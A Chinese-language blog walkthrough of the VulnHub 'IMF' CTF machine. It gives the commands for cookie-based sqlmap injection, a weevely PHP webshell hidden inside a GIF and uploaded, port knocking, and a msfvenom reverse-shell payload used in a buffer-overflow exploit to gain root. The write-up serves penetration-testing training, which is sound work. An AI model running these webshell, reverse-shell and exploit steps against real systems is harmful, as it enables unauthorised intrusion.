全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】
靶机地址:https://www.vulnhub.com/entry/imf-1,162/
靶机难度:中级(CTF)
靶机发布日期:2016年10月30日
靶机描述:欢迎使用“ IMF”,这是我的第一个Boot2Root虚拟机。IMF是一个情报机构,您必须骇入所有标志并最终扎根。这些标志起步容易,随着您的前进而变得越来越难。每个标志都包含下一个标志的提示。我希望您喜欢这个虚拟机并学到一些东西。
目标:得到root权限&找到四个flag.txt
靶机wp作者:Jack渡鸦
用虚拟机开启今天的靶机
第一步扫出目标靶机的IP
命令:arp-scan -l
用nmap扫了一下,发现就开了一个80端口,访问靶机IP的80端口
把flag的值解码,得到一个值allthefiles
在页面按ctrl+f搜索等号,找到另外一个based64值,把三段拼成一个ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==,解码得flag2{aW1mYWRtaW5pc3RyYXRvcg==}
对flag2里面的值解码得imfadministrator,访问一下发现是目录路径,一个登录框
查看源代码
提示:我不能让SQL工作,所以我硬编码的密码。它仍然很安全。——罗杰
由于登录页面有报错机制,所以我们可以判断一下正确的用户名,根据刚刚的提示试试Roger是不是正确的用户名,发现报错
之前访问的页面看到过人名,试试rmichaels是不是正确的用户名
试了一下hydra爆破密码,虽然爆破出来了好几个但是全部都是失效的无法登录,然后我用burp抓包
得到flag3{Y29udGludWVUT2Ntcw==}和一个路径cms.php?pagename=home
解码flag3的内容得continueTOcms
访问才发现的路径
加就单引号报错,说明存在sql注入,所以我们直接上sqlmap
这里因为是基于登录之后的sql注入,所以我们需要加上cookie值,在有一道cve的漏洞我讲过这个点
命令:sqlmap -o -u "http://192.168.0.154/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=c5h3o747t7678ocgt93ems0vm5" --batch -dbs
命令:sqlmap -o -u "http://192.168.0.154/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=c5h3o747t7678ocgt93ems0vm5" --batch -D admin -tables
命令:sqlmap -o -u "http://192.168.0.154/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=c5h3o747t7678ocgt93ems0vm5" --batch -D admin -T pages --dump
访问找到的路径images/whiteboard.jpg,发现是一个二维码,扫描之后得到flag4
解码flag4里面的based64值,得到uploadr942.php,访问该路径发现一个文件上传的地方
使用kali上自带的一句话木马生成工具weevely生成php的木马(参考链接kali下的webshell工具-Weevely_@小张小张的博客-CSDN博客_kali webshell工具)
知识点:weevely是适用于php网站的webshell工具,使用weevely生成的木马免杀能力较强,而且使用加密连接,往往能轻松突破WAF拦截。
命令:weevely generate duya w.php
(duya是密码,一会连接要用,你可以任意取一个,w.php是文件名称)
接下来交你们做一个图片木马把w.php拖到主机上,随便找个目录放进去,再到网上找一个gif图保存到那个目录,gif图越小越好.
然后打开cmd
命令:copy 1.gif/b + w.php 88.gif
然后就生成了88.gif,这个gif图里就包含者w.php里面的木马
我们把生成的88.gif上传上去,显示上传成功
接下来我们打开源代码,获得gif文件上传到服务器的文件名称 a25ec328b432
然后找到上传路径,再使用weevely进行连接
成功得到低权限shell,然后得到flag5{YWdlbnRzZXJ2aWNlcw==}
把flag5的值解密之后得到提示agentservices
根据提示查找文件
命令: find / -name agent &>2/dev/unull
在/usr/local/bin目录发现提示的信息,agent文件
查看agent发现是ELF 32位执行文件
用cat命令查看access_codes,发现提示SYN 7482,8279,9467
这边提示端口试探,我们可以使用knock命令试探一下
命令:knock -v 192.168.0.154 7482 8279 9467
查一下端口发现服务器运行7788应该就是agent的端口了
但是前面nmap没有扫描到,端口试探应该是针对这个端口的
连接一下7788端口,发现需要输入正确的id
没关系,我们先将agent文件下载到本地然后再分析
命令:file_download /usr/local/bin/agent /root/桌面/ssss/agent
先赋予agent文件可读可写可执行的权限,然后我们使用ltrace跟踪agent在执行过程中调用库函数的情况,第一次使用这个函数可能需要下载一下
知识点 ltrace:跟踪进程调用库函数
ltrace 能够跟踪进程的库函数调用,它会显现出调用了哪个库函数
命令:ltrace ./agent
在fgets处随便输入内容,然后strncmp函数会将我们输入的内容和agent ID进行对比,这样就使得agent的真实ID的为48093572
再次执行agent并输入正确id得到三个选项
- 提取分
- 请求提取
- 提交报告
其中选项2和3可以让用户输入内容,这样看来应该是要通过缓冲区溢出7788端口的agent程序,然后用二进制修改exp为agent进程创建一个shell,首先我们为msfvenom有效负载创建一个shellcode
使用msfvenom创建一个shellcode
命令: msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.154 LPORT=4489 -b “\x00\x0a\x0” -f python -o /root/桌面/ssss/k.py
指令解释:
-p 选择payload(此次因为agent是32位,所以使用X86
LHOST 、LPORT 监测主机IP和端口
-b 在生成的程序中避免出现的值
\x00 == 0x00 ASCII控制字符表中对应 NULL (空字符)
\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)
\x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号)
-f 指定生成xxx格式
-o 输入路径和文件
小知识点:
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。. shellcode常常使用机器语言编写。. 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令,Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。 Shellcode是溢出程序和蠕虫病毒的核心
生成这段shellcode之后,我们需要编写一个缓冲区溢出漏洞sploit的exp,我这边是直接在github上找了大佬写好的exp
我们把agentsploit.py下载下来拉到kali中,然后把原代码中的这段shellcode替换成我们刚刚用msfvenom生成的shellcode就可以了
开启监听
命令: nc -lvnp 4489
使用exp和对应的shellcode对7788服务器进行缓冲区溢出攻击
命令:python2 agentsploit.py 192.168.0.154 7788
成功连接得到root权限,拿到flag6
flag6解码得GhostProtocols,意思是幽灵协议
今天这台靶机涉及的知识点非常全面
1.有文件上传漏洞,
2.基于cookie的sql注入漏洞,
3.sqlmap的使用,
4.用kali自带的木马生成工具weevely生成绕waf的一句话木马
5.使用绕waf的木马和普通gif结合生成gif图片木马,
6.使用knock敲开隐藏的服务器端口,
7.使用ltrace函数跟踪进程的库函数调用从而得到正确id,
8.用msfvenom生成一个针对性的shellcode然后对目标服务器端口进行缓冲区溢出攻击从而得到root权限
今天的这台靶机结束,希望你们能从中学到东西,如果觉得还不错可以点个赞让我知道。我是渡鸦,每天更新一台vulnhub靶机,关注我带你打完百台靶机项目实战,欢迎老爷们关注我一起提升技术,留言进入vulnhub渗透测试交流群一起进步。
全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】相关推荐
- Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过
Kali Linux Web 渗透测试视频教程-第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...
- 渗透测试 ( 0 ) --- XSS、CSRF、文件上传、文件包含、反序列化漏洞
漏洞数据库:https://www.exploit-db.com/google-hacking-database 1.渗透测试 实用 浏览器插件 chrome.edge 插件:搜索 cookie,安装 ...
- (20)文件上传漏洞:原理、原因、常见触发点分析,vulhub、upload、公开cms上传漏洞多种方法测试
目录 理解文件上传漏洞: 文件上传漏洞: 文件上传漏洞: WebShell: 一句话木马: 产生上传漏洞原因: 原因: 常见的问题: 危害: 触发点,并判断是否存在文件上传漏洞: 触发点: 查找方法: ...
- php上传文件测试代码,php 文件上传函数的超详细示例
这篇文章主要为大家详细介绍了php 文件上传函数的超详细示例,具有一定的参考价值,可以用来参考一下. 下面跟随512笔记的小编来举个例子吧. 经测试代码如下: /** * 文件上传 * * 返回的数组 ...
- 金蝶软件怎么过账_超详细!金蝶财务软件实操流程
超详细! 金蝶财务软件实操流程 有外币:录入凭证→审核凭证→凭证过账→期末调汇→凭证审核→凭证过账→结转损益 →凭证审核→凭证过账→期末结账, 没有外币:录入凭证→审核凭证→凭证过账→结转损益→凭证审 ...
- Goldeneye靶机实操
Goldeneye靶机实操 信息搜集 webshell 用户提权 新手上路 请多多指教 信息搜集 接好靶机 发现IP为:192.168.8.144 发现 80端口开着 试试打开 用户是Boris无疑, ...
- iapp退出软件按钮代码_还在为金蝶财务软件发愁吗?超详细!金蝶财务软件实操流程,速收!...
在争分夺秒的现代社会,时间就是生命.钱和效益,所以摒弃传统繁琐手工记账,代之以使用财务金蝶KIS系列软件,该软件作为一款非常实用且常用的财务办公工具,深受职场人员的喜爱,同时企业的工作效率是之前的好几 ...
- 红日靶场(vulnstack)一 超全面详细的渗透测试学习笔记
这里写目录标题 一.环境搭建 二.拿下web服务器 信息收集 phpmyadmin 日志getshell yxcms 文件上传 xss sql注入 三.后渗透 3.1 基于msf 3.2 msf 联动 ...
- 2022渗透测试-文件上传漏洞的详细讲解
目录 1.什么是文件上传漏洞 2.生成图片木马 3.靶场 1.第一关 2.前端检测(第二关) 3.服务器端检测--MIME类型(第二关) 4.服务器端检测--文件类型(第十四关) 5.服务器文件内容验 ...
最新文章
- docker-registry的定制和性能分析
- gradle的基本设置
- java 关于String
- 如何用Curl 来post xml 数据
- python -- 环境搭建
- 更改Android Studio中AVD的默认路径
- 项目测试基础:白盒测试相关知识笔记
- DotNET内存管理与垃圾回收[转]
- win和mac系统Sublime Text 3配置编译c和c++
- [Aaronyang] 写给自己的WPF4.5 笔记[2依赖属性]
- ALM TFS/VSTS工具 的Java集成
- 【转】MySql常用函数大全
- 2021Java学习路线总结
- eSPI自学笔记(一):前言和简介
- 在购买太阳眼镜时怎样辨别好坏
- 海外众筹:产品出海kickstarter海外众筹流程
- PHP 接入SSL后的一个极端个例
- 基于mpvue的微信小程序全栈保姆式教程一
- Swift API简介
- 安捷伦示波器连接电脑